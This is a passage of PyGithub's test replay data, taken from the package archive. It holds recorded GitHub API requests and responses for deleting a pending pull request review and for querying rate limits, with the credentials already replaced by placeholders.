{"url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/pulls/4","id":611598215,"node_id":"MDExOlB1bGxSZXF1ZXN0NjExNTk4MjE1","html_url":"https://github.com/CS481-Team-Pumpkin/PyGithub/pull/4","diff_url":"https://github.com/CS481-Team-Pumpkin/PyGithub/pull/4.diff","patch_url":"https://github.com/CS481-Team-Pumpkin/PyGithub/pull/4.patch","issue_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/issues/4","number":4,"state":"open","locked":false,"title":"Test commit","user":{"login":"bagashvilit","id":46755932,"node_id":"MDQ6VXNlcjQ2NzU1OTMy","avatar_url":"https://avatars.githubusercontent.com/u/46755932?v=4","gravatar_id":"","url":"https://api.github.com/users/bagashvilit","html_url":"https://github.com/bagashvilit","followers_url":"https://api.github.com/users/bagashvilit/followers","following_url":"https://api.github.com/users/bagashvilit/following{/other_user}","gists_url":"https://api.github.com/users/bagashvilit/gists{/gist_id}","starred_url":"https://api.github.com/users/bagashvilit/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bagashvilit/subscriptions","organizations_url":"https://api.github.com/users/bagashvilit/orgs","repos_url":"https://api.github.com/users/bagashvilit/repos","events_url":"https://api.github.com/users/bagashvilit/events{/privacy}","received_events_url":"https://api.github.com/users/bagashvilit/received_events","type":"User","site_admin":false},"body":"","created_at":"2021-04-08T14:16:39Z","updated_at":"2021-04-08T14:23:05Z","closed_at":null,"merged_at":null,"merge_commit_sha":"07c3d56fa500c0f03a403136ba62cbbec6f148b0","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"draft":false,"commits_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/pulls/4/commits","review_comments_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/pulls/4/comments","review_comment_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/pulls/comments{/number}","comments_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/issues/4/comments","statuses_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/statuses/a99c92b2ba68464a1a05d7fa8ef55e3a98803e5f","head":{"label":"CS481-Team-Pumpkin:test_delete_pending_review","ref":"test_delete_pending_review","sha":"a99c92b2ba68464a1a05d7fa8ef55e3a98803e5f","user":{"login":"CS481-Team-Pumpkin","id":80543978,"node_id":"MDEyOk9yZ2FuaXphdGlvbjgwNTQzOTc4","avatar_url":"https://avatars.githubusercontent.com/u/80543978?v=4","gravatar_id":"","url":"https://api.github.com/users/CS481-Team-Pumpkin","html_url":"https://github.com/CS481-Team-Pumpkin","followers_url":"https://api.github.com/users/CS481-Team-Pumpkin/followers","following_url":"https://api.github.com/users/CS481-Team-Pumpkin/following{/other_user}","gists_url":"https://api.github.com/users/CS481-Team-Pumpkin/gists{/gist_id}","starred_url":"https://api.github.com/users/CS481-Team-Pumpkin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/CS481-Team-Pumpkin/subscriptions","organizations_url":"https://api.github.com/users/CS481-Team-Pumpkin/orgs","repos_url":"https://api.github.com/users/CS481-Team-Pumpkin/repos","events_url":"https://api.github.com/users/CS481-Team-Pumpkin/events{/privacy}","received_events_url":"https://api.github.com/users/CS481-Team-Pumpkin/received_events","type":"Organization","site_admin":false},"repo":{"id":347169081,"node_id":"MDEwOlJlcG9zaXRvcnkzNDcxNjkwODE=","name":"PyGithub","full_name":"CS481-Team-Pumpkin/PyGithub","private":false,"owner":{"login":"CS481-Team-Pumpkin","id":80543978,"node_id":"MDEyOk9yZ2FuaXphdGlvbjgwNTQzOTc4","avatar_url":"https://avatars.githubusercontent.com/u/80543978?v=4","gravatar_id":"","url":"https://api.github.com/users/CS481-Team-Pumpkin","html_url":"https://github.com/CS481-Team-Pumpkin","followers_url":"https://api.github.com/users/CS481-Team-Pumpkin/followers","following_url":"https://api.github.com/users/CS481-Team-Pumpkin/following{/other_user}","gists_url":"https://api.github.com/users/CS481-Team-Pumpkin/gists{/gist_id}","starred_url":"https://api.github.com/users/CS481-Team-Pumpkin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/CS481-Team-Pumpkin/subscriptions","organizations_url":"https://api.github.com/users/CS481-Team-Pumpkin/orgs","repos_url":"https://api.github.com/users/CS481-Team-Pumpkin/repos","events_url":"https://api.github.com/users/CS481-Team-Pumpkin/events{/privacy}","received_events_url":"https://api.github.com/users/CS481-Team-Pumpkin/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/CS481-Team-Pumpkin/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub","forks_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/forks","keys_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/teams","hooks_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/events","assignees_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/tags","blobs_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/languages","stargazers_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/subscription","commits_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/merges","archive_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/downloads","issues_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/deployments","created_at":"2021-03-12T18:58:51Z","updated_at":"2021-04-02T17:52:24Z","pushed_at":"2021-04-08T14:16:39Z","git_url":"git://github.com/CS481-Team-Pumpkin/PyGithub.git","ssh_url":"git@github.com:CS481-Team-Pumpkin/PyGithub.git","clone_url":"https://github.com/CS481-Team-Pumpkin/PyGithub.git","svn_url":"https://github.com/CS481-Team-Pumpkin/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13338,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":3,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":3,"watchers":0,"default_branch":"master"}},"base":{"label":"CS481-Team-Pumpkin:master","ref":"master","sha":"7f0a239bc797a071e512b763dfd3e4339191dc18","user":{"login":"CS481-Team-Pumpkin","id":80543978,"node_id":"MDEyOk9yZ2FuaXphdGlvbjgwNTQzOTc4","avatar_url":"https://avatars.githubusercontent.com/u/80543978?v=4","gravatar_id":"","url":"https://api.github.com/users/CS481-Team-Pumpkin","html_url":"https://github.com/CS481-Team-Pumpkin","followers_url":"https://api.github.com/users/CS481-Team-Pumpkin/followers","following_url":"https://api.github.com/users/CS481-Team-Pumpkin/following{/other_user}","gists_url":"https://api.github.com/users/CS481-Team-Pumpkin/gists{/gist_id}","starred_url":"https://api.github.com/users/CS481-Team-Pumpkin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/CS481-Team-Pumpkin/subscriptions","organizations_url":"https://api.github.com/users/CS481-Team-Pumpkin/orgs","repos_url":"https://api.github.com/users/CS481-Team-Pumpkin/repos","events_url":"https://api.github.com/users/CS481-Team-Pumpkin/events{/privacy}","received_events_url":"https://api.github.com/users/CS481-Team-Pumpkin/received_events","type":"Organization","site_admin":false},"repo":{"id":347169081,"node_id":"MDEwOlJlcG9zaXRvcnkzNDcxNjkwODE=","name":"PyGithub","full_name":"CS481-Team-Pumpkin/PyGithub","private":false,"owner":{"login":"CS481-Team-Pumpkin","id":80543978,"node_id":"MDEyOk9yZ2FuaXphdGlvbjgwNTQzOTc4","avatar_url":"https://avatars.githubusercontent.com/u/80543978?v=4","gravatar_id":"","url":"https://api.github.com/users/CS481-Team-Pumpkin","html_url":"https://github.com/CS481-Team-Pumpkin","followers_url":"https://api.github.com/users/CS481-Team-Pumpkin/followers","following_url":"https://api.github.com/users/CS481-Team-Pumpkin/following{/other_user}","gists_url":"https://api.github.com/users/CS481-Team-Pumpkin/gists{/gist_id}","starred_url":"https://api.github.com/users/CS481-Team-Pumpkin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/CS481-Team-Pumpkin/subscriptions","organizations_url":"https://api.github.com/users/CS481-Team-Pumpkin/orgs","repos_url":"https://api.github.com/users/CS481-Team-Pumpkin/repos","events_url":"https://api.github.com/users/CS481-Team-Pumpkin/events{/privacy}","received_events_url":"https://api.github.com/users/CS481-Team-Pumpkin/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/CS481-Team-Pumpkin/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub","forks_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/forks","keys_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/teams","hooks_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/events","assignees_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/tags","blobs_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/languages","stargazers_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/subscription","commits_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/merges","archive_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/downloads","issues_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/deployments","created_at":"2021-03-12T18:58:51Z","updated_at":"2021-04-02T17:52:24Z","pushed_at":"2021-04-08T14:16:39Z","git_url":"git://github.com/CS481-Team-Pumpkin/PyGithub.git","ssh_url":"git@github.com:CS481-Team-Pumpkin/PyGithub.git","clone_url":"https://github.com/CS481-Team-Pumpkin/PyGithub.git","svn_url":"https://github.com/CS481-Team-Pumpkin/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13338,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":3,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":3,"watchers":0,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/pulls/4"},"html":{"href":"https://github.com/CS481-Team-Pumpkin/PyGithub/pull/4"},"issue":{"href":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/issues/4"},"comments":{"href":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/issues/4/comments"},"review_comments":{"href":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/pulls/4/comments"},"review_comment":{"href":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/pulls/4/commits"},"statuses":{"href":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/statuses/a99c92b2ba68464a1a05d7fa8ef55e3a98803e5f"}},"author_association":"MEMBER","auto_merge":null,"active_lock_reason":null,"merged":false,"mergeable":true,"rebaseable":true,"mergeable_state":"clean","merged_by":null,"comments":0,"review_comments":1,"maintainer_can_modify":false,"commits":1,"additions":1,"deletions":0,"changed_files":1} https GET api.github.com None /repos/CS481-Team-Pumpkin/PyGithub/pulls/4/reviews/631460061 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 08 Apr 2021 14:27:13 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"2cb2134a474a60fa86391e682a41332b9ce4e92e41b9e7d2039ce2e6c64ae80e"'), ('X-OAuth-Scopes', 'admin:org, repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4992'), ('X-RateLimit-Reset', '1617895279'), ('X-RateLimit-Used', '8'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EB4A:950E:125F8E:13037F:606F12C0')] {"id":631460061,"node_id":"MDE3OlB1bGxSZXF1ZXN0UmV2aWV3NjMxNDYwMDYx","user":{"login":"bagashvilit","id":46755932,"node_id":"MDQ6VXNlcjQ2NzU1OTMy","avatar_url":"https://avatars.githubusercontent.com/u/46755932?v=4","gravatar_id":"","url":"https://api.github.com/users/bagashvilit","html_url":"https://github.com/bagashvilit","followers_url":"https://api.github.com/users/bagashvilit/followers","following_url":"https://api.github.com/users/bagashvilit/following{/other_user}","gists_url":"https://api.github.com/users/bagashvilit/gists{/gist_id}","starred_url":"https://api.github.com/users/bagashvilit/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bagashvilit/subscriptions","organizations_url":"https://api.github.com/users/bagashvilit/orgs","repos_url":"https://api.github.com/users/bagashvilit/repos","events_url":"https://api.github.com/users/bagashvilit/events{/privacy}","received_events_url":"https://api.github.com/users/bagashvilit/received_events","type":"User","site_admin":false},"body":"","state":"PENDING","html_url":"https://github.com/CS481-Team-Pumpkin/PyGithub/pull/4#pullrequestreview-631460061","pull_request_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/pulls/4","author_association":"MEMBER","_links":{"html":{"href":"https://github.com/CS481-Team-Pumpkin/PyGithub/pull/4#pullrequestreview-631460061"},"pull_request":{"href":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/pulls/4"}},"commit_id":"a99c92b2ba68464a1a05d7fa8ef55e3a98803e5f"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequestReview1856.testDelete.txt0000644000175100001660000001071614756101563025020 0ustar00runnerdockerhttps DELETE api.github.com None /repos/CS481-Team-Pumpkin/PyGithub/pulls/4/reviews/631460061 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 08 Apr 2021 14:27:14 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"2cb2134a474a60fa86391e682a41332b9ce4e92e41b9e7d2039ce2e6c64ae80e"'), ('X-OAuth-Scopes', 'admin:org, repo'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4991'), ('X-RateLimit-Reset', '1617895279'), ('X-RateLimit-Used', '9'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EB4C:74D7:85110:8A249:606F12C1')] {"id":631460061,"node_id":"MDE3OlB1bGxSZXF1ZXN0UmV2aWV3NjMxNDYwMDYx","user":{"login":"bagashvilit","id":46755932,"node_id":"MDQ6VXNlcjQ2NzU1OTMy","avatar_url":"https://avatars.githubusercontent.com/u/46755932?v=4","gravatar_id":"","url":"https://api.github.com/users/bagashvilit","html_url":"https://github.com/bagashvilit","followers_url":"https://api.github.com/users/bagashvilit/followers","following_url":"https://api.github.com/users/bagashvilit/following{/other_user}","gists_url":"https://api.github.com/users/bagashvilit/gists{/gist_id}","starred_url":"https://api.github.com/users/bagashvilit/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bagashvilit/subscriptions","organizations_url":"https://api.github.com/users/bagashvilit/orgs","repos_url":"https://api.github.com/users/bagashvilit/repos","events_url":"https://api.github.com/users/bagashvilit/events{/privacy}","received_events_url":"https://api.github.com/users/bagashvilit/received_events","type":"User","site_admin":false},"body":"","state":"PENDING","html_url":"https://github.com/CS481-Team-Pumpkin/PyGithub/pull/4#pullrequestreview-631460061","pull_request_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/pulls/4","author_association":"MEMBER","_links":{"html":{"href":"https://github.com/CS481-Team-Pumpkin/PyGithub/pull/4#pullrequestreview-631460061"},"pull_request":{"href":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/pulls/4"}},"commit_id":"a99c92b2ba68464a1a05d7fa8ef55e3a98803e5f"} https GET api.github.com None /repos/CS481-Team-Pumpkin/PyGithub/pulls/4/reviews {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 08 Apr 2021 14:27:14 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"82184cd6a599c0bb646629f3cbc867fb158314f97d57df6e35f0e910ed328f22"'), ('X-OAuth-Scopes', 'admin:org, repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4990'), ('X-RateLimit-Reset', '1617895279'), ('X-RateLimit-Used', '10'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'EB4E:109E6:83D8B:8CA9B:606F12C2')] [] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/RateLimiting.testGetRateLimit.txt0000644000175100001660000000476614756101563024555 0ustar00runnerdockerhttps GET api.github.com None /rate_limit {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 15 May 2023 22:59:21 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'no-cache'), ('github-authentication-token-expiration', '2023-06-14 15:09:46 -0700'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4904'), ('X-RateLimit-Reset', '1684195041'), ('X-RateLimit-Used', '96'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CA6A:617C:4252CD4:44D5F2B:6462B949')] {"resources":{"core":{"limit":5000,"used":12,"remaining":4988,"reset":1734072198},"search":{"limit":30,"used":0,"remaining":30,"reset":1734071358},"graphql":{"limit":5000,"used":192,"remaining":4808,"reset":1734072222},"integration_manifest":{"limit":5000,"used":0,"remaining":5000,"reset":1734074898},"source_import":{"limit":100,"used":0,"remaining":100,"reset":1734071358},"code_scanning_upload":{"limit":1000,"used":0,"remaining":1000,"reset":1734074898},"code_scanning_autofix":{"limit":10,"used":0,"remaining":10,"reset":1734071358},"actions_runner_registration":{"limit":10000,"used":0,"remaining":10000,"reset":1734074898},"scim":{"limit":15000,"used":0,"remaining":15000,"reset":1734074898},"dependency_snapshots":{"limit":100,"used":0,"remaining":100,"reset":1734071358},"audit_log":{"limit":1750,"used":0,"remaining":1750,"reset":1734074898},"audit_log_streaming":{"limit":15,"used":0,"remaining":15,"reset":1734074898},"code_search":{"limit":10,"used":0,"remaining":10,"reset":1734071358}},"rate":{"limit":5000,"used":12,"remaining":4988,"reset":1734072198}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/RateLimiting.testRateLimiting.txt0000644000175100001660000001204414756101563024577 0ustar00runnerdockerhttps GET api.github.com None /rate_limit {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 15 May 2023 22:59:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'no-cache'), ('github-authentication-token-expiration', '2023-06-14 15:09:46 -0700'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4904'), ('X-RateLimit-Reset', '1684195041'), ('X-RateLimit-Used', '96'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E2A7:0C53:962B79:9A9281:6462B949')] 